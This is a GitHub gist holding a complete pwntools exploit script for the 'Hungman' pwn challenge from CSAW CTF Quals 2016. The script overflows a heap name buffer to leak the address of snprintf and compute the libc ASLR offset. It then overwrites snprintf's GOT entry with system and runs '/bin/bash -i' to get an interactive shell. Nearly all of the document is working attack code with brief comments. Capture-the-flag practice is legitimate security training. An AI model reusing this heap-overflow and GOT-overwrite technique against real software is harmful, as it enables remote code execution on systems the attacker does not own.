Created
July 31, 2019 02:23
-
-
Save C0deH4cker/ab179f7f97c994d26e661e4e618b12fe to your computer and use it in GitHub Desktop.
Exploit for [PWN 300] Hungman from CSAW CTF Quals 2016
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
import sys | |
debug_server = False | |
use_system_libc = True | |
r = remote("pwn.chal.csaw.io", 8003); use_system_libc = False | |
# r = process("./hungman") | |
# r = process("./linux_serverx64"); debug_server = True | |
# Load libc | |
if use_system_libc: | |
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") | |
else: | |
libc = ELF("./libc-2.23.so") | |
# Load program | |
exe = ELF("./hungman") | |
got_funcs = [ | |
# "free", | |
# "puts", | |
# "write", | |
# "__stack_chk_fail", | |
# "strchr", | |
# "printf", | |
"snprintf", | |
"memset", | |
"close", | |
"read", | |
"__libc_start_main", | |
"__gmon_start__", | |
"memcpy", | |
"malloc", | |
"setvbuf", | |
"open", | |
"__isoc99_scanf", | |
"exit" | |
] | |
got_start = exe.got[got_funcs[0]] | |
g_highscore_message = 0x602100 | |
def recvline(r): | |
line = r.recvline() | |
print("recvline(%r)" % line.rstrip()) | |
return line | |
def sendline(r, line): | |
print("sendline(%r)" % line) | |
return r.sendline(line) | |
def get_highscore(r, charset="abcdefghijklmnopqrstuvwxyzX"): | |
log.info("Playing hangman") | |
# Get an initial high score | |
for c in charset: | |
data = r.recv() | |
print("recv(%r)" % data) | |
if "High score! change name?" in data: | |
break | |
sendline(r, c) | |
# Allow the debugger to attach | |
if debug_server: | |
print(r.recvuntil("What's your name")) | |
else: | |
raw_input("Press enter to start...") | |
# Give initial name | |
recvline(r) # What's your name? | |
name = "A"*0x80 # +1 for \0 | |
sendline(r, name) | |
recvline(r) # Welcome, name | |
# Get high score to change name | |
get_highscore(r, charset="abXXXXXXX") | |
# Change name to be longer | |
sendline(r, 'y') | |
# Build new struct hangman_game | |
name += "B"*0x10 #filler heap space before struct | |
name += "HACK" #score | |
name += p32(8) #name_size | |
name += p64(exe.got["snprintf"]) #name | |
# Send new name | |
sendline(r, name) | |
# Read leaked snprintf addr | |
data = r.recv() | |
print("recv(%r)" % data) | |
snprintf_addr_str = data[len("Highest player: "):] | |
snprintf_addr_str = snprintf_addr_str[:snprintf_addr_str.find(" score")] | |
snprintf_addr_str += "\0" * (8-len(snprintf_addr_str)) | |
print("snprintf_addr_str: %r" % snprintf_addr_str) | |
snprintf = u64(snprintf_addr_str) | |
log.info("Leaked address of snprintf: 0x%08x" % snprintf) | |
# Calculate ASLR slide | |
aslr = snprintf - libc.symbols["snprintf"] | |
# Continue? | |
sendline(r, 'y') | |
# Play again | |
get_highscore(r) | |
# Change name so got[snprintf] = system | |
sendline(r, 'y') | |
# Replace snprintf with system | |
name = p64(libc.symbols["system"] + aslr) | |
# Make sure other got entries are the same | |
for sym in got_funcs[1:]: | |
addr = libc.symbols[sym] + aslr if sym in libc.symbols else 0 | |
name += p64(addr) | |
# Write zeros until we get to g_highscore_message | |
pos = got_start + 8 * len(got_funcs) | |
name += (g_highscore_message - pos) * "\0" | |
# Write command to pass to system | |
name += "/bin/bash -i\0" | |
# Send new name to trigger exploit | |
sendline(r, name) | |
# Get that shell, y0 | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment